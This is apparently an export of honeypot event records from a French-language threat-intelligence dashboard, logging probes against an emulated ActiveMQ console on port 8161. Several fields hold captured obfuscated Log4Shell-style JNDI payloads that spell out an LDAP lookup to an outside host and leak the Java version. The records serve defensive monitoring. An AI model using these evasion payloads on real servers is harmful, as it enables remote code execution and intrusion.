GET /${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-/}${b:-/}${xrc:6pd:5py:-P}${1w:q:2:-A}${914p:lz7:av:-l}${w:28v:-0}${jw6m:-c}${3g8f:7:--}${${9dm:-s}${h6w8:-y}$
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${1:s0:0hwn:-g}${4:-o}${cb8:7jcr:-o}${lt0:kj:q6:-g}}",
"http_ua_hash": "172937ea41f8774d502898b78bb7c1cffa3969ff",
"http_host_hash": "b6d38c1c7d1718a2aea83cf28650587b89450269",
"http_target_hash": "d22580499d8c67c259fe4a0d1c6beabd97d3ba30",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.795615060466,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.4,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 58,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "8a5426ed49c2fae2aff059c043f5f02d16b44190",
"event_fingerprint": "6c6d38a1f5bd88424e42825bad71e2b0d06c799e",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "52ec895381f8b700cc71f4d2e02dd96c",
"payload_hash": "d995fc7c14e432e9bd59c75d8bce76df",
"path_pattern_hash": "66f58dbf3845ac2a0286ad0ca21c0740"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 58
},
"method": "GET",
"path": "\/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-\/}${b:-\/}${xrc:6pd:5py:-P}${1w:q:2:-A}${914p:lz7:av:-l}${w:28v:-0}${jw6m:-c}${3g8f:7:--}${${9dm:-s}${h6w8:-y}${gko:qdht:-s}${zpqe:-:}${u1:c:-j}${9:-a}${2hn:-v}${os1:rt:1w6:-a}${fh2j:-.}${2zs:-v}${og:-e}${j:5j:7g:-r}${4un:x:-s}${cxd4:grx:qcn:-i}${iu:d4on:sg1:-o}${e:8ql:-n}}${r:-.}${8d:-5}${ag6:-4}${aib4:gpn:up:-3}${wgyn:-4}${bw:8j:fp87:-7}${m6:-6}${o:vgjr:-6}${h2y:-9}$",
"user_agent": "${${e:30:-j}${bsi:-n}${n:w:x249:-d}${u:-i}${oy:bw:lr:-:}${4:mdz:-l}${lz:134f:z:-d}${x0b:-a}${6:-p}${g4:164:uwsg:-:}${4bz9:ba:90cr:-\/}${de:m:ag:-\/}${r6o7:w5dz:-U}${nyc:7z:-A}${t81:at:-l}${uqn:g:ws8d:-0}${r01:-c}${9qz:--}${${q3:5g3e:-s}${mv3:-y}${5:-s}${6f:\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-\/}${b:-\/}${xrc:6pd:5py:-P}${1w:q:2:-A}${914p:lz7:av:-l}${w:28v:-0}${jw6m:-c}${3g8f:7:--}${${9dm:-s}${h6w8:-y}${gko:qdht:-s}${zpqe:-:}${u1:c:-j}${9:-a}${2hn:-v}${os1:rt:1w6:-a}${fh2j:-.}${2zs:-v}${og:-e}${j:5j:7g:-r}${4un:x:-s}${cxd4:grx:qcn:-i}${iu:d4on:sg1:-o}${e:8ql:-n}}${r:-.}${8d:-5}${ag6:-4}${aib4:gpn:up:-3}${wgyn:-4}${bw:8j:fp87:-7}${m6:-6}${o:vgjr:-6}${h2y:",
"payload_snippet": "GET \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-",
"evidence": {
"method": "GET",
"path": "\/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-\/}${b:-\/}${xrc:6pd:5py:-P}${1w:q:2:-A}${914p:lz7:av:-l}${w:28v:-0}${jw6m:-c}${3g8f:7:--}${${9dm:-s}${h6w8:-y}${gko:qdht:-s}${zpqe:-:}${u1:c:-j}${9:-a}${2hn:-v}${os1:rt:1w6:-a}${fh2j:-.}${2zs:-v}${og:-e}${j:5j:7g:-r}${4un:x:-s}${cxd4:grx:qcn:-i}${iu:d4on:sg1:-o}${e:8ql:-n}}${r:-.}${8d:-5}${ag6:-4}${aib4:gpn:up:-3}${wgyn:-4}${bw:8j:fp87:-7}${m6:-6}${o:vgjr:-6}${h2y:-9}$",
"user_agent": "${${e:30:-j}${bsi:-n}${n:w:x249:-d}${u:-i}${oy:bw:lr:-:}${4:mdz:-l}${lz:134f:z:-d}${x0b:-a}${6:-p}${g4:164:uwsg:-:}${4bz9:ba:90cr:-\/}${de:m:ag:-\/}${r6o7:w5dz:-U}${nyc:7z:-A}${t81:at:-l}${uqn:g:ws8d:-0}${r01:-c}${9qz:--}${${q3:5g3e:-s}${mv3:-y}${5:-s}${6f:\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-\/}${b:-\/}${xrc:6pd:5py:-P}${1w:q:2:-A}${914p:lz7:av:-l}${w:28v:-0}${jw6m:-c}${3g8f:7:--}${${9dm:-s}${h6w8:-y}${gko:qdht:-s}${zpqe:-:}${u1:c:-j}${9:-a}${2hn:-v}${os1:rt:1w6:-a}${fh2j:-.}${2zs:-v}${og:-e}${j:5j:7g:-r}${4un:x:-s}${cxd4:grx:qcn:-i}${iu:d4on:sg1:-o}${e:8ql:-n}}${r:-.}${8d:-5}${ag6:-4}${aib4:gpn:up:-3}${wgyn:-4}${bw:8j:fp87:-7}${m6:-6}${o:vgjr:-6}${h2y:",
"request_sample": "GET \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-\/}${b:-\/}${xrc:6pd:5py:-P}${1w:q:2:-A}${914p:lz7:av:-l}${w:28v:-0}${jw6m:-c}${3g8f:7:--}${${9dm:-s}${h6w8:-y}$",
"payload_snippet": "GET \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9fe04998b2289a58c685bcb4e1e56878489d61e2",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-\/}${b:-\/}${xrc:6p\u2026",
"request_line": "GET \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-\/}${b:-\/}${xrc:6pd:5py:-P}${1w:q:2:-A}${914p:lz7:av:-\u2026",
"http_user_agent": "${${e:30:-j}${bsi:-n}${n:w:x249:-d}${u:-i}${oy:bw:lr:-:}${4:mdz:-l}${lz:134f:z:-d}${x0b:-a}${6:-p}${g4:164:uwsg:-:}${4b\u2026",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-",
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxy\u2026",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 58,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-\/}${b:-\/}${xrc:6p\u2026",
"request_line": "GET \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-\/}${b:-\/}${xrc:6pd:5py:-P}${1w:q:2:-A}${914p:lz7:av:-\u2026",
"http_user_agent": "${${e:30:-j}${bsi:-n}${n:w:x249:-d}${u:-i}${oy:bw:lr:-:}${4:mdz:-l}${lz:134f:z:-d}${x0b:-a}${6:-p}${g4:164:uwsg:-:}${4b\u2026",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxy\u2026",
"evidence_snippet": "GET \/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:44 UTC
TCP
8161 · ACTIVEMQ CONSOLE
Injection PHP
php injection · via ACTIVEMQ CONSOLE:8161 · (tentative d'exploit)
Élevée
Moyen · 52
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
Émulateur
ACTIVEMQ-CONSOLE
WAF
—
Recommandation
Investiguer
Tags
activemq_emulated
net_activemq_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
8161
Chemin / cible
—
Service
ACTIVEMQ CONSOLE
Payload
ZSDLKFJ2 /${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${
Pourquoi cette classification : Type « php_injection » (signaux protocolaires) · confiance 97%
Confiance classification
100%
Corrélation +18
Risque capteur
Moyen
· 52
Confiance : Confiance 97 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 933135
User-Agent
—
Règles WAF
—
Payload (extrait)
ZSDLKFJ2 /${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${
Requête brute (extrait)
ZSDLKFJ2 /${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${8:-:}${kti:-/}${a5o:-/}${od:o:a:-P}${q2a:paq:7h:-A}${m2:w6:n:-l}${s:-0}${p8:0:-c}${3:tgd:v:--}${${k:bu0r:-s}${yas:q:zqa7:-y}${7p
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"bytes_in": 4096,
"payload_entropy": 4.789794671168387,
"port_category": "registered",
"org": "Google LLC",
"service": "activemq-console",
"app_proto": "activemq-console",
"asn": 396982,
"country": "US",
"dst_port": 8161,
"risk_waf": 8,
"risk_classification": 84,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2,
"risk_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15
},
"risk_score": 52,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "84b4697382e35567ad2d0f6de8115db1ab2af9a5",
"event_fingerprint": "adda8f578874ac50be918dffbb12ccf312cac1a3",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "activemq-console",
"risk_confidence_factor": 97,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "e3d2927f36c88e50ae91373f189e0a6a",
"path_pattern_hash": "765741bf96f2b0261b26b2b9f8ad710b"
},
"target_context": {
"dst_port": 8161,
"service": "activemq-console",
"service_name": "activemq-console",
"risk_score": 52
},
"payload_preview": "ZSDLKFJ2 \/${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${",
"request_sample": "ZSDLKFJ2 \/${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${8:-:}${kti:-\/}${a5o:-\/}${od:o:a:-P}${q2a:paq:7h:-A}${m2:w6:n:-l}${s:-0}${p8:0:-c}${3:tgd:v:--}${${k:bu0r:-s}${yas:q:zqa7:-y}${7p",
"payload_snippet": "ZSDLKFJ2 \/${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${",
"evidence": {
"request_sample": "ZSDLKFJ2 \/${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${8:-:}${kti:-\/}${a5o:-\/}${od:o:a:-P}${q2a:paq:7h:-A}${m2:w6:n:-l}${s:-0}${p8:0:-c}${3:tgd:v:--}${${k:bu0r:-s}${yas:q:zqa7:-y}${7p",
"payload_snippet": "ZSDLKFJ2 \/${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d1fe2b24dd65b50145db54c59b5c6a17f3b8f3cd",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${",
"port": 8161,
"service": "activemq-console",
"service_label_fr": "ACTIVEMQ CONSOLE"
},
"evidence_snippet": "ZSDLKFJ2 \/${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${",
"attack_vector": "php injection \u00b7 via ACTIVEMQ CONSOLE:8161 \u00b7 (tentative d'exploit)",
"target_port_label": "8161 \u00b7 ACTIVEMQ CONSOLE",
"emulator_service": "activemq-console",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"classification_reason_label_fr": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via ACTIVEMQ CONSOLE \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 52,
"risk_label": "Moyen",
"service_name": "activemq-console",
"service_label_fr": "ACTIVEMQ CONSOLE",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-activemq-console",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${",
"port": 8161,
"service": "activemq-console",
"service_label_fr": "ACTIVEMQ CONSOLE"
},
"attack_vector": "php injection \u00b7 via ACTIVEMQ CONSOLE:8161 \u00b7 (tentative d'exploit)",
"evidence_snippet": "ZSDLKFJ2 \/${${nzr0:6:-j}${f:35:f:-n}${ow0:8q:-d}${p5n:ejw:-i}${0t1:-:}${f61:3k:-l}${i:nd7:3f:-d}${lhji:ija:0ko:-a}${x5zs:h:-p}${",
"target_port_label": "8161 \u00b7 ACTIVEMQ CONSOLE",
"emulator_service": "activemq-console",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "activemq_console",
"service_banner": "honeypot-activemq-console",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"activemq-console",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"activemq_emulated",
"net_activemq_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:43 UTC
TCP
8161 · HTTP
Sonde port 8161/TCP
port 8161 tcp · via HTTP:8161 · (sonde / probe)
Élevée
Moyen · 47
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
http_auth_header_token
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8161
Chemin / cible
/
Preuve honeypot — Sonde port 8161/TCP
Connexion détectée sur le port 8161 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8161_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 47
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8161
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8161 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 X-Forwarded-For: ${${c:r:1:-j}${j7wr:diz:f
Meta JSON brut
{
"protocol_emulated": true,
